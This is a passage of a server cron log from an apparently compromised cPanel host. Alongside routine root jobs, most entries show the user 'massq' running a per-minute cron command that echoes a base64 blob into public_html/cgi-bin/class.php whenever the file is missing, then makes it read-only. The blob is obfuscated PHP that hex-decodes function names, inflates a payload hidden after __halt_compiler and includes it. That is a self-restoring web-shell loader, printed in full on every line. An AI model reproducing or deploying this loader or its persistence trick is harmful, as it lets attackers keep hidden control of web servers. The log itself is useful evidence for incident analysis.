"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 11:18:01 server CROND[22646]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 11:19:01 server CROND[22712]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 11:20:01 server CROND[22771]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 11:20:01 server CROND[22772]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 11:20:01 server CROND[22773]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 11:20:01 server CROND[22774]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 11:20:01 server CROND[22775]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 11:21:01 server CROND[23001]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 11:22:01 server CROND[23065]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 11:23:01 server CROND[23131]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 11:24:01 server CROND[23184]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 11:25:01 server CROND[23252]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 11:25:01 server CROND[23253]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 11:25:01 server CROND[23254]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 11:26:01 server CROND[23376]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 11:27:01 server CROND[23532]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 11:27:01 server CROND[23533]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 11:28:01 server CROND[23592]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 11:29:01 server CROND[23652]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 11:30:01 server CROND[23716]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 11:30:01 server CROND[23717]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 11:30:01 server CROND[23718]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 11:30:01 server CROND[23719]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7